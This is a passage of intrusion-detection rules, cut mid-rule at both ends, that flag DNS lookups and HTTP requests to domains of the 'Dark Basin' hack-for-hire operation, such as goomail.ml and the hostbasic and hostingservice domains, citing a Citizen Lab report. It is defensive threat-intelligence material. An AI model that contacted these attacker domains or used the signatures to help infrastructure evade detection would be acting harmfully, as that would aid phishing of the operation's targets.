reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: goomail.ml"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|goomail|02|ml|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354061; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: goomail.ml"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|goomail|02|ml|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354062; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: goomail.ml"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"goomail.ml"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])goomail\.ml[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354063; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hardcoretechnologiesllp.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|17|hardcoretechnologiesllp|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355351; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hardcoretechnologiesllp.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|17|hardcoretechnologiesllp|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355352; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hardcoretechnologiesllp.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hardcoretechnologiesllp.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hardcoretechnologiesllp\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355353; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hathwaynetwork.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|hathwaynetwork|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354871; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hathwaynetwork.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|hathwaynetwork|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354872; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hathwaynetwork.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hathwaynetwork.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hathwaynetwork\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354873; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hbh-europe-ripoff-report.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|18|hbh-europe-ripoff-report|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353391; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hbh-europe-ripoff-report.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|18|hbh-europe-ripoff-report|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353392; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hbh-europe-ripoff-report.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hbh-europe-ripoff-report.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hbh\-europe\-ripoff\-report\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353393; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hiretechservicehg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|hiretechservicehg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355381; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hiretechservicehg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|hiretechservicehg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355382; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hiretechservicehg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hiretechservicehg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hiretechservicehg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355383; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hkdrillonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|hkdrillonline|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354831; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hkdrillonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|hkdrillonline|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354832; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hkdrillonline.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hkdrillonline.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hkdrillonline\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354833; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hklinbas.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|hklinbas|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356021; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hklinbas.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|hklinbas|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356022; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hklinbas.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hklinbas.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hklinbas\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356023; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hollandtourandtravel.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|hollandtourandtravel|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355311; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hollandtourandtravel.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|hollandtourandtravel|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355312; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hollandtourandtravel.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hollandtourandtravel.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hollandtourandtravel\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355313; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: homeforallorphans.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|homeforallorphans|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356921; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: homeforallorphans.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|homeforallorphans|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356922; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: homeforallorphans.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"homeforallorphans.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])homeforallorphans\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356923; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: homeremedytipntricks.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|homeremedytipntricks|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357101; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: homeremedytipntricks.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|homeremedytipntricks|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357102; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: homeremedytipntricks.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"homeremedytipntricks.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])homeremedytipntricks\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357103; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: homeserver87.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|homeserver87|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353471; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: homeserver87.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|homeserver87|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353472; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: homeserver87.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"homeserver87.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])homeserver87\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353473; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hongkongshippingcompany.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|17|hongkongshippingcompany|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355331; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hongkongshippingcompany.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|17|hongkongshippingcompany|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355332; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hongkongshippingcompany.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hongkongshippingcompany.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hongkongshippingcompany\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355333; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostbasichk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|hostbasichk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355951; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostbasichk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|hostbasichk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355952; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostbasichk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostbasichk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostbasichk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355953; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostbasicholl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|hostbasicholl|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355961; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostbasicholl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|hostbasicholl|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355962; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostbasicholl.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostbasicholl.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostbasicholl\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355963; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostbasicmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|hostbasicmy|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355971; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostbasicmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|hostbasicmy|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355972; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostbasicmy.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostbasicmy.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostbasicmy\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355973; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostbasicru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|hostbasicru|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355981; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostbasicru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|hostbasicru|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355982; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostbasicru.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostbasicru.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostbasicru\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355983; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostbasicsg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|hostbasicsg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355991; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostbasicsg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|hostbasicsg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355992; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostbasicsg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostbasicsg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostbasicsg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355993; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostemailsecureserver.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|hostemailsecureserver|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354491; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostemailsecureserver.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|hostemailsecureserver|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354492; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostemailsecureserver.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostemailsecureserver.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostemailsecureserver\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354493; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostemailserver.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|hostemailserver|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354331; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostemailserver.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|hostemailserver|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354332; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostemailserver.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostemailserver.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostemailserver\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354333; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostfeasta.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|hostfeasta|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357051; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostfeasta.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|hostfeasta|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357052; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostfeasta.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostfeasta.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostfeasta\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357053; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostingserviceclean.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|hostingserviceclean|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356411; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostingserviceclean.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|hostingserviceclean|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356412; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostingserviceclean.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostingserviceclean.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostingserviceclean\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356413; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostingserviceforall.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|hostingserviceforall|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356421; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostingserviceforall.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|hostingserviceforall|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356422; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostingserviceforall.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostingserviceforall.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostingserviceforall\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356423; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostingservicesloyal.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|hostingservicesloyal|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356431; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostingservicesloyal.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|hostingservicesloyal|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356432; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostingservicesloyal.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostingservicesloyal.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostingservicesloyal\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356433; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostingservicesukit.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|hostingservicesukit|03|com|00|"; 